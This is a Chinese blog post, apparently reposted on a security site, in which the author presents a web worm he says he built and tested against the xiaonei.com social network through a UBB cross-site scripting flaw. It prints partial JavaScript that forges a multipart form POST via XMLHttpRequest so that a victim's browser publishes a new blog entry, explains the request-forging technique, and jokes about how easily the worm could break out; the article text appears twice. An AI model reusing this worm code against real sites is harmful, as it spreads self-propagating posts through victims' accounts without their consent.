构造HTTP消息头以实现WEB2.0 WORM 's

admin 2017年4月27日02:49:48评论307 views字数 2618阅读8分43秒阅读模式
摘要

作者:ycosxhack
来源:余弦函数前天发现校内网的UBB XSS,code了两天,这只危害性极大的蠕虫编写完毕,测试成功。蠕虫部分代码如下:
function _1() {
src=" http://blog.xiaonei.com/NewEntry.do ";
var title="/u0033/u002e/u0037/u7ef4/u5ea6 :-(";
//title与_body都将汉字进行16进制双字节编码了,这是解决汉字乱码的一个非常实用的技巧,记住了:-)
var _body="/u79bb/u6563/u503c/uff0c/u53ef/u60dc/u4f60/u770b/u5230/u7684/u662f/u4e71/u7801/u3002";
var blog_pic_id="";
var pic_path="";
var blogControl="99";
/////////////HTTP消息头构造开始/////////////
argv="/r/n"; //这行不可缺少,HTTP消息头的第一行是空白的
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"title/"/r/n/r/n";
//name="title"以及下面所有的name="xxxx"都对应于表单中的表单元素的name属性值
//Content-Disposition是MIME协议的扩展,这里指定其使用form-data表单数据类型
argv+=(title+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"body/"/r/n/r/n";
argv+=(_body+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"theFile/"; filename=/"/"/r/nContent-Type: application/octet-stream/r/n/r/n/r/n";
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"blog_pic_id/"/r/n/r/n";
argv+=(blog_pic_id+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"pic_path/"/r/n/r/n";
argv+=(pic_path+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"blogControl/"/r/n/r/n";
argv+=(blogControl+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"relative_optype/"/r/n/r/n";
argv+=("publisher"+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"del_relative_id/"/r/n/r/n/r/n";
argv+="———————7964f8dddeb95fc5–/r/n";
//注意最后一行的分割特征符———————7964f8dddeb95fc5最后有两减号–,表示HTTP消息头结束
/////////////HTTP消息头构造结束/////////////
_3or7("POST",src,argv); //使用XMLHttpRequest对象发送构造好的HTTP消息头
_2();
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=——————-7964f8dddeb95fc5");
3.7维度 :-( ,内容为:离散值,可惜你看到的是乱码 。一定要注意我在HTTP消息头上写下的注释。HTTP消息头的构造是很严格的!
我在《web2.0 worm技术细节》里说过:即使这个功能模块本身不是基于AJAX,你的worm也可以使用AJAX技术或者同步的XMLHttpRequest()/XMLHTTP技术来实现数据的后台传输 。其实这就要借助HTTP消息头技术,不过我在《web2.0 worm技术细节》中却想当然地绕过HTTP消息头的伪造来实现消息的后头传输。HTTP消息头我还没研究透,在这也不敢贸然否定什么。不过这次的WEB2.0 WORM是很成功的。除了无法绕过验证码或密码限制,其他的功能都能轻易完成。
有点要说明:如果某功能模块本身就是基于AJAX的,那么你就没必要构造HTTP消息头了,直接调用即可。 AJAX是WEB前台与后台数据通信的中间体,这为我们的AJAX WORM的生存提供了绝佳的环境,比如百度空间的许多功能模块就是基于AJAX的,校内网很少……!!!这样我就说明白了吧?
【相关文章】
1、校内网的蠕虫分析:http://hi.baidu.com/monyer/blog/item/bc20a60fd6068ceeaa6457f4.html
2、理解HTTP消息头:http://www.binken.cn/article.asp?id=23
3、web2.0 worm技术细节:http://hi.baidu.com/ycosxhack/blog/item/c41f3f24c6ceaa37c995597e.html
【后记】
这只蠕虫要爆发非常的容易,而且一旦爆发,我就会被骂死……呵呵,本来只想利用这个UBB XSS来做点好玩的事,没想到蠕虫就这样写出来了。现在发现HTTP消息头真好玩,XSS也越来越有趣了。适可而止了,脆弱的校内网。

作者:ycosxhack
来源:余弦函数

前天发现校内网的UBB XSS,code了两天,这只危害性极大的蠕虫编写完毕,测试成功。蠕虫部分代码如下:
function _1() {
src="
http://blog.xiaonei.com/NewEntry.do";
var title="/u0033/u002e/u0037/u7ef4/u5ea6 :-(";
//title与_body都将汉字进行16进制双字节编码了,这是解决汉字乱码的一个非常实用的技巧,记住了:-)

var _body="/u79bb/u6563/u503c/uff0c/u53ef/u60dc/u4f60/u770b/u5230/u7684/u662f/u4e71/u7801/u3002";
var blog_pic_id="";
var pic_path="";
var blogControl="99";
/////////////HTTP消息头构造开始/////////////
argv="/r/n"; //这行不可缺少,HTTP消息头的第一行是空白的
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"title/"/r/n/r/n";
//name="title"以及下面所有的name="xxxx"都对应于表单中的表单元素的name属性值
//Content-Disposition是MIME协议的扩展,这里指定其使用form-data表单数据类型
argv+=(title+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"body/"/r/n/r/n";
argv+=(_body+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"theFile/"; filename=/"/"/r/nContent-Type: application/octet-stream/r/n/r/n/r/n";
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"blog_pic_id/"/r/n/r/n";
argv+=(blog_pic_id+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"pic_path/"/r/n/r/n";
argv+=(pic_path+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"blogControl/"/r/n/r/n";
argv+=(blogControl+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"relative_optype/"/r/n/r/n";
argv+=("publisher"+"/r/n");
argv+="———————7964f8dddeb95fc5/r/nContent-Disposition: form-data; name=/"del_relative_id/"/r/n/r/n/r/n";
argv+="———————7964f8dddeb95fc5–/r/n";
//注意最后一行的分割特征符———————7964f8dddeb95fc5最后有两减号–,表示HTTP消息头结束
/////////////HTTP消息头构造结束/////////////
_3or7("POST",src,argv); //使用XMLHttpRequest对象发送构造好的HTTP消息头
_2();
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=——————-7964f8dddeb95fc5");
3.7维度 构造HTTP消息头以实现WEB2.0 WORM  's,内容为:离散值,可惜你看到的是乱码。一定要注意我在HTTP消息头上写下的注释。HTTP消息头的构造是很严格的!
我在《web2.0 worm技术细节》里说过:即使这个功能模块本身不是基于AJAX,你的worm也可以使用AJAX技术或者同步的XMLHttpRequest()/XMLHTTP技术来实现数据的后台传输。其实这就要借助HTTP消息头技术,不过我在《web2.0 worm技术细节》中却想当然地绕过HTTP消息头的伪造来实现消息的后头传输。HTTP消息头我还没研究透,在这也不敢贸然否定什么。不过这次的WEB2.0 WORM是很成功的。除了无法绕过验证码或密码限制,其他的功能都能轻易完成。
有点要说明:如果某功能模块本身就是基于AJAX的,那么你就没必要构造HTTP消息头了,直接调用即可。 AJAX是WEB前台与后台数据通信的中间体,这为我们的AJAX WORM的生存提供了绝佳的环境,比如百度空间的许多功能模块就是基于AJAX的,校内网很少……!!!这样我就说明白了吧?
【相关文章】
1、校内网的蠕虫分析:http://hi.baidu.com/monyer/blog/item/bc20a60fd6068ceeaa6457f4.html
2、理解HTTP消息头:http://www.binken.cn/article.asp?id=23
3、web2.0 worm技术细节:http://hi.baidu.com/ycosxhack/blog/item/c41f3f24c6ceaa37c995597e.html
【后记】
这只蠕虫要爆发非常的容易,而且一旦爆发,我就会被骂死……呵呵,本来只想利用这个UBB XSS来做点好玩的事,没想到蠕虫就这样写出来了。现在发现HTTP消息头真好玩,XSS也越来越有趣了。适可而止了,脆弱的校内网。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月27日02:49:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   构造HTTP消息头以实现WEB2.0 WORM 'shttps://cn-sec.com/archives/47372.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息